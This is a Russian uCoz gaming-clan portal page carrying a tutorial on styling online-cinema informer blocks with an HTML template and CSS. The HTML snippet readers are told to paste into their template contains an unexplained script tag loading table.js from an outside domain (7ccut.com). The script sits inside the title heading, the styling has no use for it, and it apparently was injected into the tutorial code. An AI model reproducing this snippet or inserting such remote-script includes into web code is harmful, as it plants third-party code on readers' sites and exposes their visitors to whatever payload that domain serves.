Пятница, 29.03.2024 14:46

Навигация
//evil-angel.my1.ru/images/8.gif Главная
//evil-angel.my1.ru/images/8.gif Форум
//evil-angel.my1.ru/images/8.gif Новости
//evil-angel.my1.ru/images/8.gif Мувики
Меню клана
//evil-angel.my1.ru/images/8.gif Состав клана
//evil-angel.my1.ru/images/8.gif Забить clanwar
//evil-angel.my1.ru/images/8.gif Наши CW
Все для uCoz
//evil-angel.my1.ru/images/8.gif Шаблоны для uCoz
//evil-angel.my1.ru/images/8.gif Скрипты для uCoz
//evil-angel.my1.ru/images/8.gif Иконки для форума
//evil-angel.my1.ru/images/8.gif Шапки
Софт и программы
//evil-angel.my1.ru/images/8.gif Мультимедия
//evil-angel.my1.ru/images/8.gif Безопастность
//evil-angel.my1.ru/images/8.gif Офис
//evil-angel.my1.ru/images/8.gif Русификаторы для игр
//evil-angel.my1.ru/images/8.gif Драйвера
//evil-angel.my1.ru/images/8.gif ОС и сборки
//evil-angel.my1.ru/images/8.gif Разные программы
//evil-angel.my1.ru/images/8.gif Графика
//evil-angel.my1.ru/images/8.gif Для раскрутки сайта
//evil-angel.my1.ru/images/8.gif Игры для PC
//evil-angel.my1.ru/images/8.gif Музыка
//evil-angel.my1.ru/images/8.gif Журналы/Книги
Counter-Strike 1.6
//evil-angel.my1.ru/images/8.gif Скачать Counter-Strike 1.6
//evil-angel.my1.ru/images/8.gif Готовые Сервера CS 1.6
//evil-angel.my1.ru/images/8.gif Статьи CS 1.6
//evil-angel.my1.ru/images/8.gif Моды CS 1.6
//evil-angel.my1.ru/images/8.gif Плагины CS 1.6
//evil-angel.my1.ru/images/8.gif Карты CS 1.6
//evil-angel.my1.ru/images/8.gif Софт CS 1.6
//evil-angel.my1.ru/images/8.gif Модели CS 1.6
//evil-angel.my1.ru/images/8.gif Античиты CS 1.6
//evil-angel.my1.ru/images/8.gif Патчи CS 1.6
//evil-angel.my1.ru/images/8.gif Темы CS 1.6
//evil-angel.my1.ru/images/8.gif Лого и иконки CS 1.6
//evil-angel.my1.ru/images/8.gif Разное CS 1.6
//evil-angel.my1.ru/images/8.gif Для Linux
Мини-чат
500
Наш опрос
Скока вы играли в cs 1.6
Всего ответов: 53
Главная » 2014 » Январь » 25 » Вид информера онлайн кинотеатра
16:50
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Просмотров: 509 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мой профиль
Статитика CW
Победы
Победы(17)

Поражения
Поражения(0)


Забить cw

Мы вконтакте
Наша кнопка
[ Получить код ]
Статистика
Зарег. на сайте:
Всего: 118
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов:
Гл.Модераторов:
Гл.Дизайнеров:
Модераторов: 0
Дизайнеров:
Журналистов: 0
Файловиков:
Проверенных: 0
Обычных: 117
Из них:
Парней: 102
Девушек: 16
Счетчики:
Анализ страниц сайта
Онлайн:
Онлайн всего: 1
лень зарегится: 1
Реальных пацанов: 0
Сегодня нас посетили:

Evil-Angel - Игровой портал, Классные конфиги для кс | конфиги кс | шаблоны ucoz для cs 1.6 | © 2009-2010 | | Sitemap | Sitemap-Forum
Копирование материалов на другие сайты запрещено!